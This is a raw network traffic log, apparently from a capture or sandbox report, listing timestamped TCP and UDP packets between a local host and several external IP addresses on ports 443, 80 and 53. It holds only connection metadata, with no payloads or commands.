Jan 9, 2025 11:27:06.552599907 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.553491116 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.553507090 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.553564072 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.553582907 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.553617954 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.553649902 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.553657055 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.553670883 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.553684950 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.553714991 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.553749084 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.553800106 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.554584026 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.554594040 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.605128050 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:27:06.609908104 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:27:06.618021011 CET	61249	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:06.618051052 CET	443	61249	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:06.618119001 CET	61249	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:06.618341923 CET	61249	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:06.618354082 CET	443	61249	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:07.245593071 CET	443	61249	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:07.245837927 CET	61249	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:07.245851994 CET	443	61249	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:07.246886015 CET	443	61249	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:07.246942997 CET	61249	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:07.247354031 CET	61249	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:07.247414112 CET	443	61249	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:07.247514009 CET	61249	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:07.247520924 CET	443	61249	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:07.297875881 CET	61249	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:07.526242971 CET	443	61249	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:07.526281118 CET	443	61249	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:07.526324034 CET	61249	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:07.526335955 CET	443	61249	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:07.526675940 CET	443	61249	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:07.526726961 CET	61249	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:07.531353951 CET	61249	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:07.531368971 CET	443	61249	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:07.594369888 CET	61256	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:07.594399929 CET	443	61256	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:07.594459057 CET	61256	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:07.594733000 CET	61256	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:07.594743013 CET	443	61256	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:08.221430063 CET	443	61256	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:08.221631050 CET	61256	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:08.221640110 CET	443	61256	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:08.222558022 CET	443	61256	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:08.222615004 CET	61256	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:08.222923994 CET	61256	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:08.222981930 CET	443	61256	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:08.223023891 CET	61256	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:08.267337084 CET	443	61256	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:08.268416882 CET	61256	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:08.268424988 CET	443	61256	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:08.315521955 CET	61256	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:08.498987913 CET	443	61256	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:08.499031067 CET	443	61256	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:08.499073982 CET	61256	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:08.499082088 CET	443	61256	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:08.499130011 CET	443	61256	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:08.499174118 CET	61256	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:08.499880075 CET	61256	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:08.499895096 CET	443	61256	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:09.115550041 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:09.115581036 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:09.115637064 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:09.115811110 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:09.115823030 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:09.743225098 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:09.743550062 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:09.743571997 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:09.744447947 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:09.744509935 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:09.745011091 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:09.745063066 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:09.745196104 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:09.745203972 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:09.799371004 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.039735079 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.039787054 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.039828062 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.039855003 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.039865017 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.039875031 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.039907932 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.039926052 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.039968014 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.045753956 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.045824051 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.045871019 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.045878887 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.051924944 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.051996946 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.052007914 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.058248997 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.058305025 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.058310986 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.099033117 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.125863075 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.129291058 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.129331112 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.129343033 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.129350901 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.129390955 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.136681080 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.146018028 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.146070957 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.146076918 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.148001909 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.148067951 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.148072958 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.154206991 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.154253960 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.154259920 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.160469055 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.160509109 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.160530090 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.160536051 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.160568953 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.166294098 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.172261000 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.172293901 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.172319889 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.172326088 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.172367096 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.178145885 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.184061050 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.184097052 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.184119940 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.184125900 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.184164047 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.189903975 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.190027952 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:10.190068007 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.190229893 CET	61267	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:10.190237045 CET	443	61267	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:11.755271912 CET	61290	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:11.755301952 CET	443	61290	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:11.758656979 CET	61290	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:11.758656979 CET	61290	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:11.758692026 CET	443	61290	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:11.789031029 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:11.789046049 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:11.790467024 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:11.794126987 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:11.794138908 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.402533054 CET	443	61290	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.407279015 CET	61290	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.407308102 CET	443	61290	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.407601118 CET	443	61290	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.449084044 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.455432892 CET	61290	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.484400988 CET	61290	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.484472036 CET	443	61290	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.484513998 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.484532118 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.484910011 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.484939098 CET	61290	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.485263109 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.485263109 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.485280037 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.485327005 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.527276039 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.531327963 CET	443	61290	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.684256077 CET	443	61290	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.684410095 CET	443	61290	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.684461117 CET	61290	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.686567068 CET	61290	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.686585903 CET	443	61290	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.724159956 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.724198103 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.724239111 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.724241972 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.724253893 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.724289894 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.724299908 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.730310917 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.730335951 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.730353117 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.730357885 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.730366945 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.730413914 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.736448050 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.736493111 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.736501932 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.742626905 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.742685080 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.742692947 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.785258055 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.816534042 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.816581964 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.816620111 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.816627979 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.816766024 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:12.816807032 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.876983881 CET	61291	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:12.877001047 CET	443	61291	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:13.129921913 CET	61300	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:13.129940987 CET	443	61300	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.130014896 CET	61300	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:13.130211115 CET	61300	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:13.130228043 CET	443	61300	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.138350964 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:13.138385057 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.138441086 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:13.138638020 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:13.138650894 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.277417898 CET	61302	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:13.277482033 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:13.277559042 CET	61302	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:13.277801991 CET	61302	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:13.277817011 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:13.768978119 CET	443	61300	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.769210100 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.769315958 CET	61300	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:13.769326925 CET	443	61300	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.769614935 CET	443	61300	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.769809961 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:13.769823074 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.770136118 CET	61300	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:13.770150900 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.770204067 CET	443	61300	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.770461082 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:13.770522118 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.770596981 CET	61300	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:13.770762920 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:13.811326981 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.815327883 CET	443	61300	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:13.905543089 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:13.905831099 CET	61302	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:13.905838013 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:13.906162024 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:13.906589031 CET	61302	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:13.906645060 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:13.906724930 CET	61302	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:13.951338053 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:13.954240084 CET	61302	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:14.038147926 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.038192987 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.038222075 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.038249016 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.038269043 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:14.038270950 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.038283110 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.038316965 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:14.044044971 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.044092894 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.044301987 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:14.044317961 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.050374031 CET	443	61300	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.050574064 CET	443	61300	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.050633907 CET	61300	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:14.051028013 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.051150084 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:14.051160097 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.051702023 CET	61300	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:14.051712990 CET	443	61300	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.057420015 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.057462931 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:14.057472944 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.110476971 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:14.130021095 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.130121946 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.130166054 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:14.130179882 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.130215883 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.130268097 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:14.130573988 CET	61301	443	192.168.2.5	142.250.185.196
Jan 9, 2025 11:27:14.130588055 CET	443	61301	142.250.185.196	192.168.2.5
Jan 9, 2025 11:27:14.192078114 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:14.192131996 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:14.192163944 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:14.192190886 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:14.192193031 CET	61302	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:14.192202091 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:14.192229033 CET	61302	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:14.199682951 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:14.199717999 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:14.199781895 CET	61302	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:14.199790955 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:14.199815035 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:14.199856997 CET	61302	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:14.200128078 CET	61302	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:14.200138092 CET	443	61302	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:14.617858887 CET	51360	53	192.168.2.5	162.159.36.2
Jan 9, 2025 11:27:14.622625113 CET	53	51360	162.159.36.2	192.168.2.5
Jan 9, 2025 11:27:14.622723103 CET	51360	53	192.168.2.5	162.159.36.2
Jan 9, 2025 11:27:14.627561092 CET	53	51360	162.159.36.2	192.168.2.5
Jan 9, 2025 11:27:15.073362112 CET	51360	53	192.168.2.5	162.159.36.2
Jan 9, 2025 11:27:15.078357935 CET	53	51360	162.159.36.2	192.168.2.5
Jan 9, 2025 11:27:15.078429937 CET	51360	53	192.168.2.5	162.159.36.2
Jan 9, 2025 11:27:48.824160099 CET	51553	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:48.824182987 CET	443	51553	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:48.824254036 CET	51553	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:48.824496984 CET	51553	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:48.824510098 CET	443	51553	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:49.492865086 CET	443	51553	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:49.493726969 CET	51553	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:49.493738890 CET	443	51553	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:49.494092941 CET	443	51553	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:49.497698069 CET	51553	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:49.497785091 CET	443	51553	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:49.549348116 CET	51553	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:27:50.845539093 CET	49715	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:27:50.850653887 CET	49715	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:27:50.850672007 CET	49715	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:27:50.851608992 CET	80	49715	68.65.120.220	192.168.2.5
Jan 9, 2025 11:27:50.851660013 CET	49715	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:27:50.856533051 CET	80	49715	68.65.120.220	192.168.2.5
Jan 9, 2025 11:27:50.856581926 CET	49715	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:27:50.954932928 CET	61237	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:50.954950094 CET	443	61237	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:59.432878971 CET	443	51553	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:59.432945967 CET	443	51553	216.58.212.164	192.168.2.5
Jan 9, 2025 11:27:59.432998896 CET	51553	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:28:00.847742081 CET	51553	443	192.168.2.5	216.58.212.164
Jan 9, 2025 11:28:00.847752094 CET	443	51553	216.58.212.164	192.168.2.5
Jan 9, 2025 11:28:05.870146990 CET	443	61237	165.227.159.34	192.168.2.5
Jan 9, 2025 11:28:05.870223999 CET	443	61237	165.227.159.34	192.168.2.5
Jan 9, 2025 11:28:05.870305061 CET	61237	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:28:06.705851078 CET	61237	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:28:06.705888987 CET	443	61237	165.227.159.34	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 11:26:44.567267895 CET	53	55905	1.1.1.1	192.168.2.5
Jan 9, 2025 11:26:44.568525076 CET	53	53579	1.1.1.1	192.168.2.5
Jan 9, 2025 11:26:45.590054035 CET	53	58801	1.1.1.1	192.168.2.5
Jan 9, 2025 11:26:48.752772093 CET	59049	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:26:48.752772093 CET	55145	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:26:48.759592056 CET	53	55145	1.1.1.1	192.168.2.5
Jan 9, 2025 11:26:48.759779930 CET	53	59049	1.1.1.1	192.168.2.5
Jan 9, 2025 11:26:50.309995890 CET	57535	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:26:50.310317993 CET	56074	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:26:50.332417965 CET	53	57535	1.1.1.1	192.168.2.5
Jan 9, 2025 11:26:50.349109888 CET	53	56074	1.1.1.1	192.168.2.5
Jan 9, 2025 11:26:51.367208004 CET	53	51248	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:01.135689020 CET	53	58459	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:02.621613026 CET	53	51412	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:05.234642982 CET	61531	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:27:05.234808922 CET	59061	53	192.168.2.5	1.1.1.1
